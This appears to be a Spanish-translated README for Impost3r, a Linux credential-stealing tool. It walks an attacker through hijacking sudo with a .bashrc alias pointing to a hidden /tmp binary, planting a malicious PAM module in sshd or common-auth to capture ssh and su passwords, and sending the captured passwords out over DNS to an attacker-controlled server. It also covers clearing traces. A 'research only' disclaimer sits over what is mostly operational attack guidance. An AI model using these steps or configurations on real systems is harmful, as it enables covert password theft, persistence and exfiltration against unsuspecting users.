Inglés
Impost3r es una herramienta escrita en lenguaje C y utilizada para robar varias contraseñas (ssh, su, sudo) en Linux.
Los usuarios pueden utilizar este programa para crear un abrevadero para robar las contraseñas de usuarios legítimos.
Esta herramienta es solo para investigación y enseñanza de seguridad, y el usuario asume todas las responsabilidades legales y relacionadas que resulten del uso de esta herramienta. ¡El autor no asume ninguna responsabilidad legal y relacionada!
Borrar automáticamente rastros de comportamiento
Transferir resultados a través del protocolo DNS
Usuario indiferente
gcc
Impost3r se puede utilizar para robar contraseñas, incluidos los servicios sudo, su y ssh. Estos tres servicios se pueden dividir aproximadamente en 2 categorías, sudo y ssh/su. Los analizaremos en dos casos a continuación.
Sólo requiere permisos de usuario normales. No requiere root. Sin embargo, sólo puede robar la contraseña del usuario correspondiente y no puede robar las contraseñas de otros usuarios.
Primero, supongamos que el atacante controla un servidor con derechos de usuario normales.
Compruebe si el archivo .bash_profile
existe en el directorio raíz del usuario. Si .bash_profile
existe: compruebe si .bashrc
está cargado activamente en el archivo .bash_profile
. Si está cargado activamente, omita este paso y las dos comprobaciones siguientes y continúe con las siguientes. operaciones Si no se carga activamente, se omiten los siguientes dos pasos de verificación y todas las operaciones para .bashrc
a continuación se reemplazan con operaciones para .bash_profile
.bash_profile
siguiente paso de verificación.
Compruebe si el archivo .bash_login
existe en el directorio raíz del usuario. Si .bash_login
existe: compruebe si .bashrc
está cargado activamente en el archivo .bash_login
. Si está cargado activamente, omita este paso y la siguiente verificación y continúe con las operaciones posteriores. De lo contrario, omita este paso y el siguiente. Carga activa, luego omita la siguiente verificación y todas las operaciones para .bashrc
a continuación se reemplazarán con operaciones para .bash_login
. Si .bash_login
no existe: continúe con. el próximo cheque.
Compruebe si existe un archivo .profile
en el directorio raíz del usuario. Si existe un archivo .profile
: compruebe si .bashrc
está cargado activamente en el archivo .profile
(cargado de forma predeterminada). Si está cargado activamente, omita este paso y continúe. las operaciones posteriores. , si no se carga activamente, entonces todas las operaciones para .bashrc
a continuación se reemplazan con operaciones para .profile
. ;Si .profile
no existe, en principio, Impost3r no podrá usarse. Por supuesto, también puede decidir si generar un archivo .bash_profile
o .profile
según la situación y escribir un código de carga similar al. siguiendolo para cargar .bashrc
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
Copie una copia del .bashrc
del usuario: cp ~/.bashrc /tmp/
y coloque esta copia en la ruta personalizada del atacante (en este ejemplo, se coloca en el directorio /tmp/ y el atacante puede modificarla).
Modifique .bashrc
(~/.bashrc) en el directorio raíz del usuario y agregue la siguiente declaración en la última línea (donde "/tmp/.impost3r" debe ser coherente con el NOMBRE DE ARCHIVO a continuación):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
Una vez completada la adición, guarde el archivo y ejecute source ~/.bashrc
Entonces el atacante necesita modificar el código fuente de Impost3r /sudo/main.h
:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Una vez completada la modificación, guarde y ejecute make
en el directorio actual
Obtenga el archivo .impost3r
compilado en el directorio actual
Cargue (intente compilar en el servidor de destino para evitar errores inesperados) el archivo .impost3r
en la carpeta /tmp/
del servidor de destino (solo un ejemplo, puede modificarlo usted mismo, siempre que sea la misma que la definición en el archivo código fuente)
El atacante inicia el programa del servidor DNS en su propio servidor y espera a que el usuario legítimo utilice sudo
para obtener la contraseña.
En el caso de robar la contraseña de sudo, Impost3r borrará automáticamente los rastros después del éxito y el atacante no necesita ir a limpiarlo manualmente.
Impost3r determinará automáticamente si la contraseña ingresada por el usuario es la correcta. No finalizará el proceso hasta que el usuario ingrese la contraseña correcta y borre los rastros.
Utilice sudo -v
para determinar si el usuario actual está en sudoer
antes de usar Impost3r. De lo contrario, no utilice Impost3r.
Robar contraseñas ssh/su es diferente del método de explotación y robo de contraseñas sudo anterior. Requiere privilegios de root y puede robar cualquier contraseña de usuario.
Lo siguiente toma Ubuntu como ejemplo. Centos es similar. Los archivos utilizados y la forma de modificarlos pueden ser diferentes.
Primero, supongamos que el atacante controla un servidor.
Obtuvo permisos de root a través de una operación de escalada de privilegios (o el encantador administrador inició el servicio con permisos de root)
Primero edite el archivo de código fuente /ssh_su/main.h
de Impost3r
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Una vez completada la modificación, guarde y ejecute make
en el directorio actual
Obtenga el archivo compilado impost3r.so
Cargue el impost3r.so
compilado (intente compilarlo en el servidor de destino para evitar errores inesperados) en /lib/x86_64-linux-gnu/security
de la máquina de destino (diferentes máquinas pueden tener diferentes nombres de carpeta, colóquelos de acuerdo con el situación) )
Ingrese /etc/pam.d
. Hay dos situaciones en este momento. Si el modo seleccionado es solo robar la contraseña ssh, entonces debe ejecutar vi sshd
y agregar la siguiente declaración al final del archivo (debe ser así). Tenga en cuenta aquí que, a excepción de Ubuntu, otros archivos basados en este sistema Linux pueden ser bastante diferentes de Ubuntu. Se recomienda leer las reglas usted mismo y luego agregarlas en la ubicación adecuada.
auth optional impost3r.so account optional impost3r.so
Guarde y salga, reinicie el service sshd restart
Si elige robar las contraseñas ssh y su juntas, debe ejecutar vi common-auth
, agregar la misma declaración, guardar y salir, y reiniciar también el servicio sshd.
El atacante inicia el programa del servidor DNS en su propio servidor y espera a que el usuario legítimo use ssh
para iniciar sesión en la máquina de destino o use su
para cambiar de usuario y obtener la contraseña.
En el caso de robar la contraseña ssh/su, Impost3r no puede borrar los rastros por motivos de permiso y el atacante debe borrarlos él mismo.
Tenga en cuenta que si solo se configura el robo de la contraseña SSH, básicamente se garantiza que el atacante recibirá el resultado del robo al 100%, pero si ambos están configurados para robar al mismo tiempo, no necesariamente se garantiza que el El atacante recibirá el resultado del robo (solo si está configurado Al enviar por dns, configurarlo para guardar localmente no se verá afectado)
No se recomienda robar la contraseña de su y, dado que la contraseña de ssh del usuario es la misma que la contraseña de su, si no puede robar la contraseña de su, no la robe. La contraseña de ssh es suficiente.
Las contraseñas vacías no se roban de forma predeterminada. Intente ver si el usuario tiene una contraseña vacía (verifique si hay PermitEmptyPasswords yes
en el archivo de configuración sshd. Si está vacío, todavía es un fantasma).
Utilicé Fdns para el programa del servidor Dns y modifiqué algunos parámetros. Puede encontrar el código fuente modificado en la carpeta Fdns. Utilice el comando gcc -o dns main.c util.c
para compilarlo usted mismo (tenga en cuenta que debe modificarlo). primer puerto de escucha en main.c)
Antes de compilar Fdns, verifique el valor YOUR_DOMAIN
en util.h
para asegurarse de que este valor sea consistente con el valor YOUR_DOMAIN
utilizado al compilar el programa Impost3r implantado en el servidor; de lo contrario, el robo puede fallar.
Este programa sólo se desarrolla y estudia en su tiempo libre. Puede haber errores en sus funciones. Perdóneme y agradecemos sus comentarios.
F
código libbase